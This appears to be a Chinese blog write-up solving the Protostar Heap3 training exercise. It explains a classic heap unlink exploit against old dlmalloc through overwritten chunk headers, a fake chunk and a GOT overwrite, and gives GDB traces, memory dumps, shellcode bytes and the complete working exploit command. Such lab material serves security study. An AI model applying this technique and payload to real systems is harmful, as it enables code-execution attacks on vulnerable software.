classic heap unlink exploit(protostar Heap3)

概述

https://exploit-exercises.com/protostar/heap3/

本题展示了classic heap unlink exploit

 

前置技能:

要了解ptmalloc堆;

熟悉classic heap unlink exploit

题目

Heap3.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
printf( "that wasn't too bad now, was it? @ %d \n ", time( NULL));
}

int main( int argc, char **argv)
{
char *a, *b, *c;

a = malloc( 32);
b = malloc( 32);
c = malloc( 32);

strcpy(a, argv[ 1]);
strcpy(b, argv[ 2]);
strcpy(c, argv[ 3]);

free(c);
free(b);
free(a);

printf( "dynamite failed? \n ");
}

思路

Heap3是使用GLIBC_2.0静态编译的。Glibc 2.3.4之前都没有FD/BK链表检查。因此,可以使用classic heap unlink exploit

 

#查看使用的glibc版本

$ strings ./heap3 | grep GLIBC

GLIBC_2.0

 

【思路】

很明显,strcpy可以造成溢出,可以使用classic heap unlink exploit

但是,这里使用classic heap unlink exploit有几个问题:

(1)malloc分配的是fast chunkfree后会放入fast bin链表头部,不会进入small chunk/large chunkunlink和合并流程。

 

查看glibc 2.0.6的代码,那个时候还没有fast chunk

即使有fast chunk,也可以strcpy覆盖size字段,让chunk变为small chunk

 

(2)释放是先释放高地址chunk的,后释放低地址chunk的。为了使用用户提供的数据,这里需要unlink和合并低地址的chunk,但是低地址的chunk还没有被释放了。

 

Ptmalloc是通过size字段PREV_INUSE标志(最低比特)判断的,为1表示低地址chunk在使用,为0表示已释放。因此可以覆盖size字段,让其最低比特为0即可让ptmalloc误认为低地址chunk已被释放。同时由于用户输入的数据不能包含0,这里使用负数-4

 

(3)Ptmalloc获取低地址chunk,是通过本chunk的地址减去prev_size字段得到的,通过覆盖prev_size,可以控制低地址chunk的位置。如果prev_size为负数,则获取的低地址chunk实际上比本chunk地址大。

 

(4)刚开始第一反应是使用unlink来修改puts@got处的值为addr_of_winner。但是使用unlink修改时,fd-3*Ubk-2*U两个地址必须可写。而addr_of_winner位于代码段,不可写。这里通过可写的shellcode跳转到winner函数的。

 

【实施过程】

堆内存布局如下:

 chunk1
0x804c000

prev_size

 

size

 

fd&bk/data[32]

Shellcode

"A"*4
"\x68\x64\x88\x04\x08\xc3"

 chunk2
0x804c028

prev_size

 

size

 

fd&bk/data[32]

"A"*32

 chunk3
0x804c050

prev_size

-8

size

-4

fd&bk/data[32]/
fake_prev_chunk.prev_size&size

"A"*8/"CCCC\0"

data+8/fake_prev_chunk.fd&bk

addr_puts@got-12
==0x0804b11c
addr_of_shellcode
==0x0804c00c

 

 

1. Winner函数的地址

题目的最终目标是控制EIP,执行winner函数。

Winner函数的地址

$ readelf -s ./heap3 | grep win

    74: 08048864    37 FUNC    GLOBAL DEFAULT   14 winne

 

2. Chunk的地址

GDB调试发现3chunk的地址分别为:

0x0804c000

0x0804c028

0x0804c050

(gdb) b main

Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16.

(gdb) r

(gdb) b *0x0804889e

(gdb) b *0x080488ae

(gdb) b *0x080488be

(gdb) c

(gdb) x $eax

0x804c008:      0x00000000

(gdb) c

(gdb) x $eax

0x804c030:      0x00000000

(gdb) c

(gdb) x $eax

0x804c058:      0x00000000

 

3. puts@got的地址

$ readelf -r ./heap3 |grep puts         

0804b128  00000e07 R_386_JUMP_SLOT   00000000   puts

 

0x0804b128-12 = 0x0804b11c

 

4. shellcode

跳转到winne函数:

push 0x08048864

ret

对应的汇编代码为:

\x68\x64\x88\x04\x08\xc3

 

利用在线汇编与反汇编

https://defuse.ca/online-x86-assembler.htm#disassembly

 

shellcode的地址是chunk1+0x0c

 

5. GDB调试中的堆内存布局:

(gdb) b main

Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16.

(gdb) r $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC

(gdb) b *0x08048911

Breakpoint 2 at 0x8048911: file heap3/heap3.c, line 24.

(gdb) c

Continuing.

 

Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffffd24) at heap3/heap3.c:24

24      in heap3/heap3.c

(gdb) x/120bx 0x0804c000

0x804c000:      0x00    0x00    0x00    0x00    0x29    0x00    0x00    0x00

0x804c008:      0x41    0x41    0x41    0x41    0x68    0x64    0x88    0x04

0x804c010:      0x08    0xc3    0x00    0x00    0x00    0x00    0x00    0x00

0x804c018:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

0x804c020:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

0x804c028:      0x00    0x00    0x00    0x00    0x29    0x00    0x00    0x00

0x804c030:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0x804c038:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0x804c040:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0x804c048:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0x804c050:      0xf8    0xff    0xff    0xff    0xfc    0xff    0xff    0xff

0x804c058:      0x43    0x43    0x43    0x43    0x00    0x41    0x41    0x41

0x804c060:      0x1c    0xb1    0x04    0x08    0x0c    0xc0    0x04    0x08

0x804c068:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

0x804c070:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

 

6. Unlink说明

Ø 首先,输入精心准备的数据。

Chunk1中填入”AAAA” + shellcode

Chunk2中填入"A" * 32

同时覆盖chunk3prev_size字段为-8"\xf8\xff\xff\xff"),

覆盖chunk3size字段为-4"\xfc\xff\xff\xff")

覆盖chunk3data字段为"A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"这实际上是chunk3fake_prev_chunk的前4个字段。

Chunk3中填入”CCCC\0”

这会覆盖chunk2已经填入的数据"A" * 8会被覆盖一部分。

Ø free(c)chunk3被释放

 

if (!(hd & PREV_INUSE)) /* consolidate backward */

{

prevsz = p->prev_size;

p = chunk_at_offset(p, -prevsz);

sz += prevsz;

unlink(p, bck, fwd);

}

定位低地址chunk时,是通过chunk3地址减去其prevsize字段得到的。

这里chunk3prev_size-8,因此定位的低地址chunk(称为fake_prev_chunk)指向了chunk3data部分。

Ø Unlink fake_prev_chunk

因为chunk3size字段(-4)最低比特(PREV_INUSE)为0,因此判断低地址chunk是空闲的,可以unlink

Unlink fake_prev_chunk,会造成

A+3*U的位置写入了B

B+2*U的位置写入了A

这里A+3*U指向puts@gotB指向shellcode

最终会造成puts@got地址处写入了shellcode的地址;

Shellcode+2*U的地址处写入了puts@got的地址-3*U

这里shellcode只有6个字节,shellcode+8被改写没有什么影响

Ø 最终调用printf的时候,由于没有格式化参数,最终调用的是puts

Puts被我们改为了指向shellcode,控制权转向shellcode

Ø shellcode执行后,控制器转向winner函数

push 0x08048864

ret

 

7. 测试结果:

$ /opt/protostar/bin/heap3 $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC

that wasn't too bad now, was it? @ 1524024651

附件

结论

1. 如果不是small chunk,可以覆盖size字段,让chunk变为small chunk

2. 可以覆盖size字段,让其最低比特为0PREV_INUSE)即可让ptmalloc误认为低地址chunk已被释放。同时由于用户输入的数据不能包含0,可以使用负数如-4

3. 通过覆盖prev_size,可以控制低地址chunk的位置。如果prev_size为负数,则获取的低地址chunk实际上比本chunk地址大。例如prev_size-8时,获取的低地址chunk实际上是chunk的数据部分。

4. unlink修改got表项时,要注意,被修改的值+2*U的地方必须可写。由于代码段不可写,如果要转向代码段的函数,可以通过shellcode跳转到代码段。

参考文档

1. https://gist.github.com/mgeeky/2eea516d7ad732d9f02f530688f55912

2. http://grantcurell.com/2015/08/16/protostar-exploit-challenges-heap3-solution-exploiting-dlmalloc/

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值